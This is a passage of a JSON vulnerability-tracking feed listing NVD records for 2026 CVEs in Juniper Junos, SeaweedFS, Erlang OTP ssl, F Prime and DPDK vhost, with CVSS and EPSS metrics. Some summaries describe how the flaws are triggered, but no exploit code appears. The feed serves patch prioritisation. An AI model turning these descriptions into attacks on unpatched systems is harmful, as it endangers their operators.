attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101952","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101952","type":"primary","publishedAt":"2026-10-14T18:17:11.110Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101952&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101952, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101949","cveId":"CVE-2026-101949","aliases":[],"kind":"vulnerability","title":"A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated remote BGP neighbor to...","summary":"A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated remote BGP neighbor to cause a denial of service via a VPN-flowspec BGP update if it is readvertised and BMP post-policy RIB-out monitoring is configured.","detail":"A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated remote BGP neighbor to cause a denial of service via a VPN-flowspec BGP update if it is readvertised and BMP post-policy RIB-out monitoring is configured.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T18:17:10.933Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101949","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00446,"percentile":0.38479,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101949&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101949","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101949","type":"primary","publishedAt":"2026-10-14T18:17:10.933Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101949&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101949, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100413","cveId":"CVE-2026-100413","aliases":[],"kind":"vulnerability","title":"SeaweedFS is a distributed storage system for files and blobs.","summary":"SeaweedFS is a distributed storage system for files and blobs. From 4.0.388 until 4.41, the SFTP Helm chart embedded one unencrypted Ed25519 private host key in k8s/charts/seaweedfs/templates/sftp/sftp-secret.yaml as stringData.seaweedfs_sftp_ssh_private_key. A standalone deployment presented that public key when sftp.enabled and sftp.enableAuth were true, sftp.existingConfigSecret was not supplied, the legacy sftp.sshPrivateKey path remained selected, a valid config-ssh Secret allowed startup, and hostKeysFolder did not provide a later Ed25519 signer. An attacker able to redirect or intercept client traffic could impersonate that SFTP endpoint to clients that trusted the published host identity, exposing password credentials or data sent to the rogue endpoint. Default all-in-one and non-authenticated standalone paths did not load the key. This issue is fixed in version 4.41.","detail":"SeaweedFS is a distributed storage system for files and blobs. From 4.0.388 until 4.41, the SFTP Helm chart embedded one unencrypted Ed25519 private host key in k8s/charts/seaweedfs/templates/sftp/sftp-secret.yaml as stringData.seaweedfs_sftp_ssh_private_key. A standalone deployment presented that public key when sftp.enabled and sftp.enableAuth were true, sftp.existingConfigSecret was not supplied, the legacy sftp.sshPrivateKey path remained selected, a valid config-ssh Secret allowed startup, and hostKeysFolder did not provide a later Ed25519 signer. An attacker able to redirect or intercept client traffic could impersonate that SFTP endpoint to clients that trusted the published host identity, exposing password credentials or data sent to the rogue endpoint. Default all-in-one and non-authenticated standalone paths did not load the key. This issue is fixed in version 4.41.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T18:17:10.633Z","updatedAt":"2026-10-16T16:00:33.533Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100413","asOf":"2026-10-16T16:00:33.533Z"},"epss":{"probability":0.00423,"percentile":0.3634,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100413&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100413","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100413","type":"primary","publishedAt":"2026-10-14T18:17:10.633Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100413&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100413, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-94200","cveId":"CVE-2026-94200","aliases":[],"kind":"vulnerability","title":"Improper Validation of Consistency within Input vulnerability in Erlang OTP ssl (tls_handshake_1_3, ssl_handshake and tls_client_ticket_store modules) allows a malicious TLS 1.3...","summary":"Improper Validation of Consistency within Input vulnerability in Erlang OTP ssl (tls_handshake_1_3, ssl_handshake and tls_client_ticket_store modules) allows a malicious TLS 1.3 server to cause a denial of service of the ssl application on the client node.\n\nThe TLS 1.3 client decodes the extensions of a NewSessionTicket message as if they came from EncryptedExtensions. It therefore accepts a 0-length early_data extension, a form that is only valid in ClientHello and EncryptedExtensions. With {session_tickets, auto}, the client stores the ticket in the node-global tls_client_ticket_store. On the next automatic resumption, tls_handshake_1_3:get_max_early_data/1 crashes the store with a case_clause. Repeated crashes can exceed the restart intensity of the ssl supervisors, which use the rest_for_one strategy, and take down ssl for all connections on the node.\n\nThis issue affects OTP from OTP 23.3 before OTP 27.3.4.19, OTP 28.5.0.8, and OTP 29.1.2, corresponding to ssl from 10.3 before 11.2.12.14, 11.6.0.7, and 11.7.8.","detail":"Improper Validation of Consistency within Input vulnerability in Erlang OTP ssl (tls_handshake_1_3, ssl_handshake and tls_client_ticket_store modules) allows a malicious TLS 1.3 server to cause a denial of service of the ssl application on the client node.\n\nThe TLS 1.3 client decodes the extensions of a NewSessionTicket message as if they came from EncryptedExtensions. It therefore accepts a 0-length early_data extension, a form that is only valid in ClientHello and EncryptedExtensions. With {session_tickets, auto}, the client stores the ticket in the node-global tls_client_ticket_store. On the next automatic resumption, tls_handshake_1_3:get_max_early_data/1 crashes the store with a case_clause. Repeated crashes can exceed the restart intensity of the ssl supervisors, which use the rest_for_one strategy, and take down ssl for all connections on the node.\n\nThis issue affects OTP from OTP 23.3 before OTP 27.3.4.19, OTP 28.5.0.8, and OTP 29.1.2, corresponding to ssl from 10.3 before 11.2.12.14, 11.6.0.7, and 11.7.8.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:20:21.590Z","updatedAt":"2026-10-16T21:20:55.063Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-94200","asOf":"2026-10-16T21:20:55.063Z"},"epss":{"probability":0.00461,"percentile":0.397,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-94200&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-94200","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-94200","type":"primary","publishedAt":"2026-10-14T17:20:21.590Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-94200&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-94200, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-92153","cveId":"CVE-2026-92153","aliases":[],"kind":"vulnerability","title":"F´ (F Prime) is a framework that enables development and deployment of spaceflight and other embedded software applications.","summary":"F´ (F Prime) is a framework that enables development and deployment of spaceflight and other embedded software applications. Prior to 4.3.0, Svc::FileUplink handling of Fw::FilePacket::StartPacket destination paths FileUplink copies the packet-controlled destinationPath and opens it for writing without canonicalization or confinement to an upload directory. When a peer able to send file-uplink packets supplies an absolute, traversing, or otherwise attacker-selected writable destination path, files can be created or overwritten at attacker-selected writable filesystem locations, affecting integrity and potentially availability. This issue is fixed in version 4.3.0.","detail":"F´ (F Prime) is a framework that enables development and deployment of spaceflight and other embedded software applications. Prior to 4.3.0, Svc::FileUplink handling of Fw::FilePacket::StartPacket destination paths FileUplink copies the packet-controlled destinationPath and opens it for writing without canonicalization or confinement to an upload directory. When a peer able to send file-uplink packets supplies an absolute, traversing, or otherwise attacker-selected writable destination path, files can be created or overwritten at attacker-selected writable filesystem locations, affecting integrity and potentially availability. This issue is fixed in version 4.3.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:20:21.150Z","updatedAt":"2026-10-15T16:18:23.213Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92153","asOf":"2026-10-15T16:18:23.213Z"},"epss":{"probability":0.00437,"percentile":0.37681,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-92153&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-92153","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92153","type":"primary","publishedAt":"2026-10-14T17:20:21.150Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92153&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-92153, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-92151","cveId":"CVE-2026-92151","aliases":[],"kind":"vulnerability","title":"F´ (F Prime) is a framework that enables development and deployment of spaceflight and other embedded software applications.","summary":"F´ (F Prime) is a framework that enables development and deployment of spaceflight and other embedded software applications. Prior to 4.2.0, Svc::Ccsds::SpacePacketDeframer dataIn_handler is vulnerable because the handler treats the minimum packet-length condition as FW_ASSERT rather than rejecting and returning the buffer. When a CCSDS telecommand frame leaves a payload of six bytes or fewer after TcDeframer removes its header and trailer, the assertion aborts or resets the flight-software process, causing denial of service. This issue is fixed in version 4.2.0.","detail":"F´ (F Prime) is a framework that enables development and deployment of spaceflight and other embedded software applications. Prior to 4.2.0, Svc::Ccsds::SpacePacketDeframer dataIn_handler is vulnerable because the handler treats the minimum packet-length condition as FW_ASSERT rather than rejecting and returning the buffer. When a CCSDS telecommand frame leaves a payload of six bytes or fewer after TcDeframer removes its header and trailer, the assertion aborts or resets the flight-software process, causing denial of service. This issue is fixed in version 4.2.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:20:20.997Z","updatedAt":"2026-10-15T19:17:48.363Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92151","asOf":"2026-10-15T19:17:48.363Z"},"epss":{"probability":0.00542,"percentile":0.4529,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-92151&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-92151","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92151","type":"primary","publishedAt":"2026-10-14T17:20:20.997Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92151&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-92151, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-86565","cveId":"CVE-2026-86565","aliases":[],"kind":"vulnerability","title":"A flaw was found in DPDK lib/vhost. A guest can desynchronize virtqueue size from inflight descriptor table size, causing an out-of-bounds write in the host vhost process.","summary":"A flaw was found in DPDK lib/vhost. A guest can desynchronize virtqueue size from inflight descriptor table size, causing an out-of-bounds write in the host vhost process.","detail":"A flaw was found in DPDK lib/vhost. A guest can desynchronize virtqueue size from inflight descriptor table size, causing an out-of-bounds write in the host vhost process.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:20:05.770Z","updatedAt":"2026-10-15T16:18:21.997Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-86565","asOf":"2026-10-15T16:18:21.997Z"},"epss":{"probability":0.00167,"percentile":0.05933,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-86565&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-86565","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-86565","type":"primary","publishedAt":"2026-10-14T17:20:05.770Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-86565&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-86565, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-86563","cveId":"CVE-2026-86563","aliases":[],"kind":"vulnerability","title":"A flaw was found in DPDK lib/vhost. A double-offset bug in vhost log mapping calculation can lead to incorrect memory access.","summary":"A flaw was found in DPDK lib/vhost. A double-offset bug in vhost log mapping calculation can lead to incorrect memory access.","detail":"A flaw was found in DPDK lib/vhost. A double-offset bug in vhost log mapping calculation can lead to incorrect memory access.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:20:05.600Z","updatedAt":"2026-10-14T20:13:37.910Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-86563","asOf":"2026-10-14T20:13:37.910Z"},"epss":{"probability":0.00188,"percentile":0.0833,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-86563&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-86563","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-86563","type":"primary","publishedAt":"2026-10-14T17:20:05.600Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-86563&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-86563, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-86562","cveId":"CVE-2026-86562","aliases":[],"kind":"vulnerability","title":"A flaw was found in DPDK lib/vhost. A TOCTOU double-fetch of control-queue descriptors allows a heap buffer overflow with attacker-controlled content in the VDUSE control-queue...","summary":"A flaw was found in DPDK lib/vhost. A TOCTOU double-fetch of control-queue descriptors allows a heap buffer overflow with attacker-controlled content in the VDUSE control-queue handler.","detail":"A flaw was found in DPDK lib/vhost. A TOCTOU double-fetch of control-queue descriptors allows a heap buffer overflow with attacker-controlled content in the VDUSE control-queue handler.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:20:05.420Z","updatedAt":"2026-10-15T19:17:46.313Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-86562","asOf":"2026-10-15T19:17:46.313Z"},"epss":{"probability":0.00176,"percentile":0.07072,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-86562&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-86562","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-86562","type":"primary","publishedAt":"2026-10-14T17:20:05.420Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-86562&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-86562, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-33798","cveId":"CVE-2026-33798","aliases":[],"kind":"vulnerability","title":"A Stack-based Buffer Overflow vulnerability in the srxpfe of Juniper Networks Junos OS and Junos OS Evolved on the SRX Series allows an L2-adjacent attacker to execute arbitrary...","summary":"A Stack-based Buffer Overflow vulnerability in the srxpfe of Juniper Networks Junos OS and Junos OS Evolved on the SRX Series allows an L2-adjacent attacker to execute arbitrary code as root via high-availability fabric traffic.","detail":"A Stack-based Buffer Overflow vulnerability in the srxpfe of Juniper Networks Junos OS and Junos OS Evolved on the SRX Series allows an L2-adjacent attacker to execute arbitrary code as root via high-availability fabric traffic.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:18:28.477Z","updatedAt":"2026-10-15T16:24:19.073Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-33798","asOf":"2026-10-15T16:24:19.073Z"},"epss":{"probability":0.00352,"percentile":0.28532,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-33798&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-33798","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33798","type":"primary","publishedAt":"2026-10-14T17:18:28.477Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-33798&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-33798, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-33795","cveId":"CVE-2026-33795","aliases":[],"kind":"vulnerability","title":"A Numeric Truncation Error vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated network-based attacker to cause a denial of...","summary":"A Numeric Truncation Error vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated network-based attacker to cause a denial of service via a BGP Prefix-SID route advertisement that is subsequently re-advertised.\n\nThis issue does not affect versions of Junos OS prior to 20.4R1.\nThis issue does not affect versions of Junos OS Evolved prior to 20.4R1-EVO","detail":"A Numeric Truncation Error vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated network-based attacker to cause a denial of service via a BGP Prefix-SID route advertisement that is subsequently re-advertised.\n\nThis issue does not affect versions of Junos OS prior to 20.4R1.\nThis issue does not affect versions of Junos OS Evolved prior to 20.4R1-EVO\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:18:28.123Z","updatedAt":"2026-10-15T16:24:19.073Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper 